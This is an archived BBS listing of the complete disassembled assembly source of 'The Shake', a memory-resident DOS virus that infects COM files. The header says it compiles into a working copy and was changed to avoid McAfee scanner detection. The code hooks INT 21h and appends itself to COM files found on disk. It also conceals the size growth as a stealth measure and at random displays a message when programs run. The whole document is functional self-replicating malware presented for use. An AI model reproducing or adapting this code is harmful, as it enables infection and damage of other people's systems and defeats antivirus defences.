home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / shake.asm < prev    next >
Assembly Source File  |  1992-11-13  |  14KB  |  338 lines

  1.  
  2. ;******************************************************************************
  3. ;                                The Shake Virus
  4. ;******************************************************************************
  5. ;
  6. ; Resident COM infector.
  7. ; Patch into INT 21.
  8. ; Randomly display, "Shake well before use!" upon file execute
  9. ; Adds 476 bytes to infected program
  10. ; Does not show file increase while resident (Stealth)
  11. ; Infects files upon getting free disk space (End of the directory)
  12. ;
  13. ; NOTE: This code will compile into a working copy of The Shake virus. Any
  14. ; ill attempt to modify this source code will result in a copy that does not
  15. ; work.
  16. ;
  17. ; ANOTHER NOTE: This code has allready been changed in order to avoid detection
  18. ; by McAffe's SCAN v7.6C
  19. ;
  20. ;******************************************************************************
  21. ;                   Disassembled 4/30/91 by The High Evolutionary
  22. ;                     The RABID International Development Corp.
  23. ;******************************************************************************
  24.  
  25. int_21_vec      equ     84h                     ; Vector to INT 21 (21*4)
  26. mem_loc         equ     90h                     ; Our memory location (I think)
  27. code_seg        equ     92h                     ; Segment of code to save from
  28.                                                 ; CS
  29. code_loc        equ     0                       ; Code location for infection
  30. our_code        equ     0B2h                    ; Where the text resides for
  31.                                                 ; INT 21, AH 09h
  32.  
  33. seg_a           segment byte public
  34.                 assume  cs:seg_a, ds:seg_a
  35.  
  36.                 org     100h
  37.  
  38. shake           proc    far
  39.  
  40. start:
  41.                 db      0E8h, 01h, 00h          ;CALL 104...
  42.                 and     [bp+50h],bx
  43.                 call    virus_start
  44.  
  45. shake           endp
  46.  
  47. virus_start     proc    near
  48.                 pop     si
  49. ;
  50. ; Set up a marker that denotes that we are resident allready...
  51. ;
  52.                 mov     ax,4203h                ; Move file pointer
  53.                 int     21h
  54.                 cmp     ax,1234h                ; 1234 will be the marker
  55.                 jne     allocate_memory         ; Jump if not equal
  56.                 jmp     short continue          ;
  57.                 db      90h                     ; NOP
  58. allocate_memory:
  59.                 mov     ah,4Ah                  ;
  60.                 mov     bx,0FFFFh               ; Request FFFF blocks
  61.                 int     21h
  62.                 sub     bx,500h                 ; Subtract 500 from total
  63.                                                 ; available blocks
  64.                 mov     ah,4Ah                  ; Try it again
  65.                 int     21h
  66.                 mov     ah,48h                  ; Allocate memory block
  67.                 mov     bx,1Eh                  ; Allocate 1Eh memory para's
  68.                 int     21h
  69.                 mov     es,ax                   ; Save initial segment in ES
  70.                 sub     si,5                    ; Sub 5 from SI (Why?)
  71.                 nop
  72.                 xor     di,di                   ; DI=0
  73.                 mov     cx,1DCh                 ; 476 bytes (Virus length)
  74. ;
  75. ; Copy virus code to DI
  76. ;
  77.                 rep     movsb                   ; Rep when cx >0 Mov [si] to
  78.                                                 ; es:[di]
  79.                 push    ax
  80.                 mov     ax,3Ch
  81.                 push    ax
  82.                 retf
  83.                 push    ds
  84.                 xor     ax,ax                   ; Zero register
  85.                 mov     ds,ax
  86. ;
  87. ; Patch into old INT 21
  88. ;
  89.                 les     bx,dword ptr ds:int_21_vec ; Get address of INT 21
  90.                                                 ; vector and save it in BX
  91.                 mov     word ptr cs:[1B7h],bx   ; Point it to our memory loc.
  92.                 mov     word ptr cs:[1B9h],es   ;...and get the segment
  93.                 mov     word ptr ds:int_21_vec,7Ch
  94.                 mov     word ptr ds:int_21_vec+2,cs
  95.                 pop     ds
  96. continue:
  97.                 call    save_bx
  98. virus_start     endp
  99.  
  100. save_bx         proc    near
  101.                 pop     si
  102.                 sub     si,5Dh
  103.                 nop
  104.                 mov     ax,word ptr cs:[1B4h][si]
  105.                 mov     word ptr ds:[100h],ax
  106.                 mov     ah,byte ptr cs:[1B6h][si]
  107.                 mov     byte ptr ds:[102h],ah
  108.                 push    ds
  109.                 pop     es
  110.                 pop     ax
  111.                 push    ds
  112.                 mov     bx,100h
  113.                 push    bx
  114.                 retf
  115. save_bx         endp
  116.  
  117.                 cmp     ah,11h                  ; Are we searching for the
  118.                                                 ; first FCB entry?
  119.                 je      first_FCB               ; Jump if equal
  120.                 cmp     ah,12h                  ; Are we searching for the
  121.                                                 ; next FCB entry?
  122.                 jne     next_FCB                ; Jump if not equal
  123. first_FCB:
  124.                 pushf                           ; Push flags
  125.                 call    dword ptr cs:[1B7h]     ; Call old INT 21
  126.                 push    ax
  127.                 push    bx
  128.                 push    es
  129.                 mov     ah,2Fh                  ; Get DTA address
  130.                 int     21h
  131.                 cmp     byte ptr es:[bx],0FFh
  132.                 jne     new_DTA                 ; Jump if not equal
  133.                 add     bx,7
  134. new_DTA:
  135.                 mov     ax,es:[bx+17h]
  136.                 and     ax,1Fh                  ; Get the seconds stamp from
  137.                                                 ; the COM file
  138.                 cmp     ax,1Eh                  ; Is it infected?
  139.                 jne     return_flags            ; Jump if not equal
  140. ;
  141. ; We sub 476 bytes from the DTA so that infected files will look normal.
  142. ; Stealth???
  143. ;
  144.                 sub     word ptr es:[bx+1Dh],1DCh ; 476 bytes
  145. return_flags:
  146.                 pop     es
  147.                 pop     bx
  148.                 pop     ax
  149.                 iret                            ; Interrupt return
  150. next_FCB:
  151.                 cmp     ah,4Bh                  ; Are we executing a file?
  152.                 jne     not_exec                ; No? Continue...
  153.                 push    ax
  154.                 push    dx
  155.                 mov     ah,2Ch                  ; Get system time
  156.                 int     21h
  157. ;
  158. ; Randomizer routine to see if we print out the message
  159. ;
  160.                 and     dl,0Fh                  ; AND 100th seconds by 0Fh
  161.                 or      dl,dl                   ; Zero ?
  162.                 jnz     no_message              ; Not zero? Then don't print
  163.                                                 ; the message
  164.                 push    cs
  165.                 pop     ds
  166.                 mov     word ptr ds:our_code,25EBh ; Load DS with the location
  167.                                                 ; of our code in order to
  168.                                                 ; correctly print out the
  169.                                                 ; message
  170.                 mov     ah,9                    ; Print message
  171.                 mov     dx,offset ds:[1BDh]     ; Offset of string location
  172.                 int     21h
  173.                 add     sp,4
  174.                 iret                            ; Interrupt return
  175. no_message:
  176.                 pop     dx
  177.                 pop     ax
  178. not_exec:
  179. ;
  180. ; Check to see if we are resident allready...
  181. ;
  182.                 cmp     ax,4203h                ; Are we moving the file
  183.                                                 ; pointer?
  184.                 jne     no_ptr_move             ; Jump if not equal
  185.                 mov     ax,1234h
  186.                 iret                            ; Interrupt return
  187. no_ptr_move:
  188.                 cmp     ah,36h                  ; Are we getting free
  189.                                                 ; disk space?
  190.                 je      free_disk_space         ; Jump if equal
  191.                 jmp     do_int_21               ; No? Call INT 21
  192. free_disk_space:
  193.                 push    ax
  194.                 push    bx
  195.                 push    cx
  196.                 push    dx                      ; Restore all of the regs.
  197.                 push    ds
  198.                 push    es
  199.                 push    cs
  200.                 pop     ds
  201.                 mov     ah,4Eh                  ; Find first file
  202.                 mov     dx,offset ds:[1D6h]
  203.                 xor     cx,cx                   ; Normal files...
  204.                 int     21h
  205.                 jnc     found_file              ; Jump if carry=0
  206.                 jmp     return_to_int
  207. found_file:
  208.                 mov     ah,2Fh                  ; Get DTA address
  209.                 int     21h
  210.                 mov     ax,es:[bx+16h]
  211.                 and     ax,1Fh
  212.                 cmp     ax,1Eh                  ; Is it infected?
  213.                 jne     infect_file             ; Jump if not equal
  214.                 jmp     find_next
  215. infect_file:
  216.                 push    word ptr es:[bx+16h]
  217.                 push    word ptr es:[bx+18h]
  218.                 xor     ax,ax                   ; Zero register
  219.                 mov     ds,ax
  220.                 mov     word ptr ds:mem_loc,1AEh
  221.                 mov     ds:code_seg,cs
  222.                 mov     ax,3D02h                ; Open file with Read/Write
  223.                                                 ; access
  224.                 mov     dx,bx
  225.                 add     dx,1Eh
  226.                 push    es
  227.                 pop     ds
  228.                 int     21h
  229.                 mov     word ptr cs:[1BBh],ax
  230.                 push    cs
  231.                 pop     ds
  232.                 mov     ah,3Fh                  ; Read file
  233.                 mov     cx,3                    ; 3 bytes
  234.                 mov     dx,offset ds:[1B4h]     ; To buffer area...
  235.                 mov     bx,word ptr ds:[1BBh]   ; File handle...
  236.                 int     21h
  237. ;***
  238. ; Scan string started here
  239. ;***
  240.                 mov     ax,4202h                ; Move file pointer to the
  241.                                                 ; end of the file
  242.                 xor     dx,dx                   ; DX=0
  243.                 mov     cx,dx
  244.                 int     21h
  245.                 cmp     ax,0F000h
  246.                 jae     close_file
  247.                 sub     ax,3
  248. ;***
  249. ; Scan string ended here
  250. ;***
  251.                 mov     word ptr ds:[1B2h],ax
  252.                 mov     ah,40h                  ; Write file/device
  253.                 mov     cx,1DCh                 ; 476 bytes
  254.                 push    cs
  255.                 pop     ds
  256.                 mov     dx,code_loc             ; Pointer to buffer area
  257.                 int     21h                     ; DOS Services  ah=function 40h
  258.                                                 ; write file cx=bytes, to ds:dx
  259.                 jc      close_file              ; Jump if we fucked up...
  260.                 mov     ax,4200h                ; Move file pointer to start
  261.                                                 ; of file
  262.                 xor     dx,dx                   ; DX=0
  263.                 mov     cx,dx
  264.                 int     21h
  265.                 mov     ah,40h                  ; Write file/device
  266.                 mov     cx,3                    ; 3 bytes
  267.                 mov     dx,offset ds:[1B1h]     ; Set for JMP
  268.                 int     21h
  269.                 jc      close_file              ; Jump if carry Set
  270. close_file:
  271.                 mov     ax,5701h                ; Set file date/time
  272.                 pop     dx
  273.                 pop     cx
  274.                 and     cx,0FFFEh
  275.                 nop
  276.                 or      cx,1Eh                  ; New seconds
  277.                 nop
  278.                 int     21h
  279. ;
  280. ; Note, we do not preserve the old filestamp
  281. ;
  282.                 mov     ah,3Eh                  ; Close file
  283.                 mov     bx,word ptr cs:[1BBh]
  284.                 int     21h
  285.                 jmp     short return_to_int
  286. find_next:
  287.                 mov     ah,4Fh                  ; Find next file
  288.                 int     21h
  289.                 jc      return_to_int           ; Jump if carry Set
  290.                 jmp     found_file
  291. return_to_int:
  292.                 pop     es
  293.                 pop     ds
  294.                 pop     dx
  295.                 pop     cx
  296.                 pop     bx
  297.                 pop     ax
  298. do_int_21:
  299.                 jmp     dword ptr cs:[1B7h]
  300. ;
  301. ; The following instructions originally appeared as hex codes (DB)
  302. ;
  303.  
  304.                 mov     al,03                   ;B0 03
  305.                 iret                            ;CF
  306.                 db      0e8h,0d8h,062h          ;CALL 63DE
  307.                 mov     ah,4ch                  ;B4 4C
  308.                 int     60                      ;CD 60
  309.                 adc     al,6ah                  ;14 6A
  310.                 add     al,[di]                 ;02 05
  311.                 add     [bx],al                 ;00 07
  312.  
  313.                 db      'Shake well before use !$'
  314.                 db      '*.com',0
  315.  
  316. seg_a           ends
  317.                 end     start
  318.  
  319.  ════ Data Items ════════════════════════
  320.   seg:off   type & options     label           comments
  321.   -------   --------------     --------------  --------------
  322. 0000:0084   dd, equ                             ; int_21_vec
  323. 0000:0090   dw, equ                             ; mem_loc
  324. 0000:0092   dw, equ                             ; code_seg
  325. 76DD:0000   db, equ                             ; code_loc
  326. 76DD:00B2   dw, equ                             ; our_code
  327. seg_a:0100  dw                                  ; data_7
  328. seg_a:0102  db                                  ; data_8
  329. seg_a:01B1  db                                  ; Jump Location
  330. seg_a:01B2  dw                                  ; File to infect
  331. seg_a:01B4  dw                                  ; Virus Segment
  332. seg_a:01B6  db                                  ; Virus Code Segment
  333. seg_a:01B7  dw, r 2                             ; Old Int 21 vector
  334. seg_a:01BB  dw                                  ; File Handle
  335. seg_a:01BD  da, r 11                            ; data_16
  336. seg_a:01D6  db                                  ; data_17
  337.  
  338.